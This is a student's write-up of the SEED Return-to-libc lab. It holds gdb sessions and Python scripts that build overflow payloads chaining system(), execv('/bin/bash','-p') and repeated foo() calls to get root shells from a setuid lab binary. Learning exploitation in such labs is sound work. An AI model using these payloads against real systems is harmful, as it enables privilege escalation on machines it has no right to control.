`Return-to-libc`

18307130281 庄颖秋

Task 1

- Create an empty `badfile` and run `retlib` in `gdb`
- Breakpoint at main() according to the document
- Use p command to get the address of `system` and `exit`
- Screenshots

```
[04/01/21]seed@VM:~/.../return2libc$ gdb -q retlib
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a liter
al. Did you mean "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a lite
ral. Did you mean "=="?
  if pyversion is 3:
Reading symbols from retlib...
(No debugging symbols found in retlib)
gdb-peda$ break main
Breakpoint 1 at 0x12ef
```

```
Breakpoint 1, 0x565562ef in main ()
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
```

Task 2

- Create an environment MYSHELL to store string `/bin/sh`

```
$ export MYSHELL=/bin/sh
```

- Create a c file named `******.c` to print the address of MYSHELL (to have same name length with `retlib`)

```
void main() {
    char *shell = getenv("MYSHELL");
    if (shell)
        printf("%x\n", (unsigned int) shell);
}
```

- Screenshot

```
[04/01/21]seed@VM:~/.../return2libc$ gcc -m32 -DBUF_SIZE=${N} -fno
-stack-protector -z noexecstack -o prtenv prtenv.c
[04/01/21]seed@VM:~/.../return2libc$ sudo chown root prtenv
[04/01/21]seed@VM:~/.../return2libc$ sudo chown 4755 prtenv
[04/01/21]seed@VM:~/.../return2libc$ ./prtenv
ffffd411
[04/01/21]seed@VM:~/.../return2libc$ ./prtenv
ffffd411
[04/01/21]seed@VM:~/.../return2libc$ ./prtenv
ffffd411
[04/01/21]seed@VM:~/.../return2libc$ ./prtenv
ffffd411
```

- The address of environment variable MYSHELL turns out to be the same since we turned off address randomization.

Task 3

- Here is a graph for the stack

```
|___________________|    ->  param of system (/bin/sh)
|___________________|    ->  return address of system
|___________________|    ->  return address (system)
|___________________|    ->  ebp
|                   |
|                   |
|___________________|    ->  buffer
```

- We can learn from the code that X is the offset of `sh_addr` from `buffer` and Y is the offset of `system_addr` from `buffer` and Z is the offset of `exit_addr` from `buffer`
- From the output of `retlib`, the offset of `ebp` from `buffer` is `0x98-0x80=0x18`. Therefore, the offset of return address from `buffer` is `0x18+4=0x1c`
- As we want to return to `system()` afterwards, so Y = 0x1c
- As `exit()` is set to be where `system()` return to, so Z = Y+4
- As `/bin/sh` is the parameter of `system()`, X = Y+4+4

- Code:

```
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

X = 0x1c+8
sh_addr = 0xffffd411       # The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')

Y = 0x1c
system_addr = 0xf7e12420  # The address of system()
content[Y:Y+4] =
(system_addr).to_bytes(4,byteorder='little')

Z = 0x1c+4
exit_addr = 0xf7e04f80    # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

- Screenshot
  - Successful result and difference of `exit()`

```
[04/01/21]seed@VM:~/.../return2libc$ retlib
Address of input[] inside main():  0xffffcdb0
Input size: 300
Address of buffer[] inside bof():  0xffffcd80
Frame Pointer value inside bof():  0xffffcd98
# exit
[04/01/21]seed@VM:~/.../return2libc$ python3 exploit.py; retlib
Address of input[] inside main():  0xffffcdb0
Input size: 300
Address of buffer[] inside bof():  0xffffcd80
Frame Pointer value inside bof():  0xffffcd98
# exit
Segmentation fault
```

    Without adding `exit()` in the `badfile`, we can still get root because system is called successfully. But after we exit from `system()`, the program will continue to run and detect we have done something abnormal and print `Segmentation fault` since we broke the canary.

  - change name length of the executable file

```
[04/01/21]seed@VM:~/.../return2libc$ mv retlib newretlib
[04/01/21]seed@VM:~/.../return2libc$ newretlib
Address of input[] inside main():  0xffffcda0
Input size: 300
Address of buffer[] inside bof():  0xffffcd70
Frame Pointer value inside bof():  0xffffcd88
zsh:1: command not found: h
Segmentation fault
```

After we called `system()`, it runs with parameter `h` instead of `/bin/sh` due to the address difference caused by different length of names.

Task 4

- After relink `/bin/sh`

```
[04/01/21]seed@VM:~/.../return2libc$ sudo ln -sf /bin/dash /bin/sh
[04/01/21]seed@VM:~/.../return2libc$ retlib
Address of input[] inside main():  0xffffcdb0
Input size: 300
Address of buffer[] inside bof():  0xffffcd80
Frame Pointer value inside bof():  0xffffcd98
$ exit
[04/01/21]seed@VM:~/.../return2libc$
```

We can only get `$` even if `system()` is successfully called.

- Stack graph according to the document

```
|______argv[2]_____|    ->  NULL
|______argv[1]_____|    ->  address of "-p"
|______argv[0]_____|    ->  same with pathname
|______argv[]______|    ->  address of argv[] (inside
input[])
|_____pathname_____|    ->  start of param of system
|__________________|    ->  return address of execv()
|__________________|    ->  return address (execv())
|__________________|    ->  ebp
|                  |
|                  |
|__________________|    ->  buffer
```

Since I am super lazy, I just put `argv[]` right behind the address of it.

Notice that the address of `argv[]` has to be inside `input[]` instead of inside `buffer`, because content of `buffer` is copied by `strcpy()` which will stop when meeting `NULL` (`argv[2]`)

- Create an environment MYSHELL to store string `/bin/sh`

```
$ export MYSHELL1=/bin/bash
$ export MYSHELL2=-p
```

- Create a c file named `******.c` to print the address of MYSHELL1 and MYSHELL2 (to have same name length with `retlib`)

```
void main() {
    char *shell = getenv("MYSHELL1");
    char *hhh = getenv("MYSHELL2");
    if (shell)
        printf("/bin/bash: %x\n-p: %x\n", (unsigned int)
shell, (unsigned int)hhh);
}
```

- Code

```
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

A = 0x1c+12
argv = 0xffffcd80+0x1c+16
content[A:A+4] = (argv).to_bytes(4,byteorder='little')

X = 0x1c+8
binbash = 0xffffd504
content[X:X+4] = (binbash).to_bytes(4,byteorder='little')

Y = 0x1c
execv_addr = 0xf7e994b0  # The address of execv()
content[Y:Y+4] = (execv_addr).to_bytes(4,byteorder='little')

Z = 0x1c+4
exit_addr = 0xf7e04f80    # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

Arg = 0x1c+16
argv1 = binbash
argv2 = 0xffffd540
argv3 = 0
```

```
content[Arg:Arg+4] = (argv1).to_bytes(4,byteorder='little')
content[Arg+4:Arg+8] =
(argv2).to_bytes(4,byteorder='little')
content[Arg+8:Arg+12] =
(argv3).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

- Screenshot
  - Address of `/bin/bash` and `-p` in environment variables

```
[04/01/21]seed@VM:~/.../return2libc$ gcc -m32 -DBUF_SIZE=${N} -fno
-stack-protector -z noexecstack -o prtenv prtenv.c;sudo chown root
 prtenv;sudo chown 4755 prtenv;prtenv
/bin/bash: ffffd504
-p: ffffd540
[04/01/21]seed@VM:~/.../return2libc$
```

  - Get address of `execv()` and `exit()` from `gdb`

```
Breakpoint 1, 0x565562ef in main ()
gdb-peda$ p execv
$1 = {<text variable, no debug info>} 0xf7e994b0 <execv>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
```

  - Successful result

```
[04/01/21]seed@VM:~/.../return2libc$ python3 exploit2.py; retlib
Address of input[] inside main():  0xffffcd80
Input size: 300
Address of buffer[] inside bof():  0xffffcd50
Frame Pointer value inside bof():  0xffffcd68
bash-5.0# exit
exit
[04/01/21]seed@VM:~/.../return2libc$
```

Task 5

- Stack graph

  basically same with Task 4 apart from 10 calling of `foo()`

```
|_____argv[2]_____|    ->  NULL
|_____argv[1]_____|    ->  address of "-p"
|_____argv[0]_____|    ->  same with pathname
|_____argv[]______|    ->  address of argv[]
|_____pathname____|    ->  start of param of system
|_____execv()_____|    ->  return address of foo()
```

```
|_______foo()______|    ->  return address of foo() 10
|_______foo()______|    ->  return address of foo() 9
|_______foo()______|    ->  return address of foo() 8
|_______foo()______|    ->  return address of foo() 7
|_______foo()______|    ->  return address of foo() 6
|_______foo()______|    ->  return address of foo() 5
|_______foo()______|    ->  return address of foo() 4
|_______foo()______|    ->  return address of foo() 3
|_______foo()______|    ->  return address of foo() 2
|_______foo()______|    ->  return address (foo())  1
|__________________|    ->  ebp
|                  |
|                  |
|__________________|    ->  buffer
```

- Code

```python
#!/usr/bin/env python3
import sys

# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))

foo = 0x565562b0
foo = (foo).to_bytes(4,byteorder='little')

start = 0x1c
for i in range(10):
    content[start:start+4] = foo
    start += 4

A = start+12
argv = 0xffffcd80+start+16
content[A:A+4] = (argv).to_bytes(4,byteorder='little')

X = start+8
binbash = 0xffffd504
content[X:X+4] = (binbash).to_bytes(4,byteorder='little')

Y = start
execv_addr = 0xf7e994b0  # The address of execv()
content[Y:Y+4] = (execv_addr).to_bytes(4,byteorder='little')
```

```
Z = start+4
exit_addr = 0xf7e04f80     # The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')

Arg = start+16
argv1 = binbash
argv2 = 0xffffd540
argv3 = 0
content[Arg:Arg+4] = (argv1).to_bytes(4,byteorder='little')
content[Arg+4:Arg+8] =
(argv2).to_bytes(4,byteorder='little')
content[Arg+8:Arg+12] =
(argv3).to_bytes(4,byteorder='little')

# Save content to a file
with open("badfile", "wb") as f:
  f.write(content)
```

- Screenshot
  - Get address of `foo()` in `gdb`

```
Breakpoint 1, 0x565562ef in main ()
gdb-peda$ p foo
$1 = {<text variable, no debug info>} 0x565562b0 <foo>
gdb-peda$
```

  - Successful result

```
[04/01/21]seed@VM:~/.../return2libc$ python3 exploit3.py; retlib
Address of input[] inside main():  0xffffcd80
Input size: 300
Address of buffer[] inside bof():  0xffffcd50
Frame Pointer value inside bof():  0xffffcd68
Function foo() is invoked 1 times
Function foo() is invoked 2 times
Function foo() is invoked 3 times
Function foo() is invoked 4 times
Function foo() is invoked 5 times
Function foo() is invoked 6 times
Function foo() is invoked 7 times
Function foo() is invoked 8 times
Function foo() is invoked 9 times
Function foo() is invoked 10 times
bash-5.0# exit
exit
[04/01/21]seed@VM:~/.../return2libc$
```